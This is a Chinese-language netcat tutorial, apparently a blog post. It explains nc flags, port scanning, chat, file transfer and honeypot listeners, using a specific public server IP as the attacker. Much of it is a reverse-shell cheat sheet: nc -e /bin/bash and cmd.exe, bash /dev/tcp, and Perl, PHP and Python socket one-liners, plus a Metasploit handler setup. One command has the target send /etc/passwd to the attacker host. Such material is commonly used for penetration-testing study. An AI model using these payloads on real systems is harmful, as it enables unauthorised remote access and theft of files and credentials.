阿里云ecs:47.106.230.228
目标机kali:校园网
可以输入nc -h查看帮助:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18-h 查看帮助信息
-d 后台模式
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-e prog程序重定向,一但连接就执行[危险]
-i secs延时的间隔
-l 监听模式,用于入站连接
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C
-n IP地址,不能用域名(不使用DNS反向查询IP地址的域名)
-o film记录16进制的传输
-p[空格]端口 本地端口号
-s addr 本地源地址
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出,用-vv将更详细
-w 数字 timeout延时间隔
-z 将输入,输出关掉(用于扫锚时)
PortScan(端口扫描)
基本tcp扫描:nc -vv 47.106.230.228 6666
例:nc -vv 47.106.230.228 6666扫描47.106.230.228 的tcp 6666端口
设置延时,指定端口扫描:1
2nc -vv -w secs ip port-port
例:nc -vv -w 5 192.168.1.1 5000-5002 扫描192.168.1.1的5000-5002端口,网络超时的时间设为5秒。
聊天
客户端(主动)nc ip port
服务端(坐等连)nc -lvp port
发文件
主要看<>
符号的尖的方向,表示将文件流到其方向
发送端nc -v -w 20 -p 6666 -l < aaa.txt
-w 20
表示发送前后都等待20秒,根据箭头表示将文件发送到nc中
接收端nc -v -w 2 47.106.230.228 端口 >bbb.txt
由于我们是接受端,所以时间不用太久,箭头方向表示将nc接收来的文件保存起来
总的来看就是这样aaa.txt --> nc --> bbb.txt
目标机上下载文件
攻击机nc -l -p 6666 > kali.txt
目标机nc 47.106.230.228 6666 < /etc/passwd
这样就将本地kali的文件发给攻击者了
上传文件至目标机
攻击机nc -l -p 6666 < /etc/passwd
目标机nc 47.106.230.228 6666 > ecs.txt
将攻击机中passwd下载至本地ecs.txt,关于<>
的用法和上面介绍的一样
加密传输的数据
服务端:$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
客户端:$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567
命令记录
nc -vv victim_ip port < path\file.cmd
搭建蜜罐
nc -L -p 80
作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止nc -L -p 80 > c:\log.txt
作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt
*nc -L -p 80 < c:\honeyport.txt
作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用type.exe c:\honeyport | nc -L -p 80
作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
作为蜜罐使用1:
命令:nc -L -p Port
注:使用“-L”参数可以不停的监听某一个端口,知道Ctrl+C为止
作为蜜罐使用2:
命令:nc -L -p Port >log.txt
注:使用“-L”
参数可以不停的监听某一个端口,知道Ctrl+C为止,同时把结果输出到log.txt文件中,如果把“>”
改为“>>”
即追加到文件之后。
这一个命令参数“-L”
在Windows中有,现在的Linux中是没有这个选项的,但是自己可以去找找,这里只是想到了之前的这个使用,所以提出来简单介绍一下!
shell
正向shell(没有公网ip的主机发起对目标主机的远程连接)
公网服务器:47.106.230.228
校园网kali
服务器nc -lvp 6666 -t -e /bin/bash
目标主机(可以执行命令)nc 47.106.230.228 6666
反向shell
–e
选项发送回一个BashShell的攻击。请注意,我们还可以使用cmd.exe的–e
选项的窗口
netcat监听者nc -lvp 6666
目标主机nc 47.106.230.228 6666 -e /bin/bash
对于Windows:nc 47.106.230.228 6666 -e cmd.exe
目标主机中没有nc
上面的情况是目标主机中有nc,如果没有怎么办呢?
攻击照常监听nc -lvp 6666
目标主机bash -i>& /dev/tcp/47.106.230.228/6666 0>&1
注意空格
使用Perl
攻击照常监听nc -lvp 6666
目标主机1
perl -e 'use Socket;$i="47.106.230.228";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
PHP shell
攻击照常监听nc -lvp 6666
目标主机1
php -r '$sock=fsockopen("47.106.230.228",6666);exec("/bin/sh -i <&3 >&3 2>&3");'
Python shell
攻击照常监听nc -lvp 6666
目标主机1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.106.230.228",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
从nc升级到msf
简单
攻击机1
2
3
4use exploit/multi/handler
set payload linux/x64/shell/reverse_tcp
set lhost 47.106.230.228(ecs本机ip)
set lport 6666
目标主机nc 47.106.230.228 6666 -e /bin/bash
成功获取回话